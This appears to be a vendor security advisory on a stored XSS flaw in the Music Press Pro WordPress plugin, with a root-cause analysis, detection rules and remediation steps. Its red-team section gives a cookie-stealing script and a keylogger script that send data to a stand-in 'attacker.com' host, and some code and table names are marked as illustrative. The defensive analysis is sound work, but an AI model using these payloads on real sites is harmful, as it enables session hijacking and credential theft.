CVE-2025-22653

Executive Summary

CVE-2025-22653 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Music Press Pro WordPress plugin, developed by Tuyennv. The vulnerability exists in versions from n/a through 1.4.6. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.5 (Medium) reflects the need for user interaction and low privileges, but the impact is amplified in a WordPress ecosystem due to the high likelihood of admin-level targets.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No official patch has been released as of this report. Users are advised to remove or disable the plugin until a fix is available. The lack of OSV or GitHub advisory data indicates limited public disclosure and no known supply chain compromise.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification of content.
• Availability (A): Low (L) – Limited disruption.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous for site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Music Press Pro plugin's handling of user-supplied input when generating web pages. The plugin fails to properly sanitize or escape data before outputting it in HTML context. An attacker with contributor-level access can inject malicious scripts into fields such as track titles, artist names, or album descriptions. When the page is rendered, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses echo or print statements with user input without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and later rendered.

Attack Flow:

1. Attacker logs in with contributor credentials.
2. Attacker creates or edits a music track/album and injects a payload like <script>alert('XSS')</script> into a text field.
3. The payload is stored in the WordPress database.
4. An administrator or other user views the track/album page.
5. The payload executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from music-press-pro <= 1.4.6):

<?php
// Vulnerable: direct output without escaping
echo '<div class="track-title">' . $track_title . '</div>';
?>

Patched Code (hypothetical fix):

<?php
// Patched: using WordPress escaping function
echo '<div class="track-title">' . esc_html( $track_title ) . '</div>';
?>

The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Music Press Pro <= 1.4.6 installed.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Music Press Pro > Add New Track.
3. In the Track Title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the track.
5. Send the link to the track page to an administrator (e.g., via comment or email).
6. When the admin views the page, the script executes, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress admin logs for unusual content creation by low-privilege users.
2. Review database entries for suspicious HTML/JavaScript in wp_postmeta or custom plugin tables.
3. Use a Web Application Firewall (WAF) to block common XSS patterns.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install Music Press Pro version 1.4.6.
3. Create a contributor user.
4. Follow the Red Team steps to verify the vulnerability.
5. Apply the patched code and confirm the fix.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie= or keylog parameters.
  • Unusual POST requests to /wp-admin/admin-ajax.php with XSS payloads.

• Host IOCs:

  • Presence of <script> tags in database fields related to Music Press Pro (e.g., wp_musicpress_tracks table).
  • Modified plugin files with injected JavaScript.

• File IOCs:

  • Suspicious entries in wp-content/plugins/music-press-pro/ directory, especially in template files.

Detection Engineering

YARA Rule

rule CVE_2025_22653_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Music Press Pro plugin"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-22653"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $wp_meta = /wp_musicpress_tracks/
    condition:
        $wp_meta and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Music Press Pro Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Music Press Pro plugin fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=musicpress_save_track'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in track descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22653 Stored XSS in Music Press Pro";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=musicpress_save_track"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-22653;
)

Remediation & Mitigation

1. Immediate Action: Disable and remove the Music Press Pro plugin until a patched version is released.
2. Code Fix: Apply output escaping using esc_html(), esc_attr(), or wp_kses_post() to all user-supplied data before rendering.
3. WordPress Hardening:
   • Restrict contributor-level access to trusted users only.
   • Enable automatic updates for plugins.
   • Use a security plugin (e.g., Wordfence) to block XSS attempts.
4. Network Mitigation:
   • Deploy a WAF with rules to block common XSS patterns.
   • Implement CSP headers: Content-Security-Policy: default-src 'self'; script-src 'self'.
5. Monitoring: Continuously monitor for suspicious activity in WordPress admin logs and database entries.

Valters IT
Securing Digital Frontiers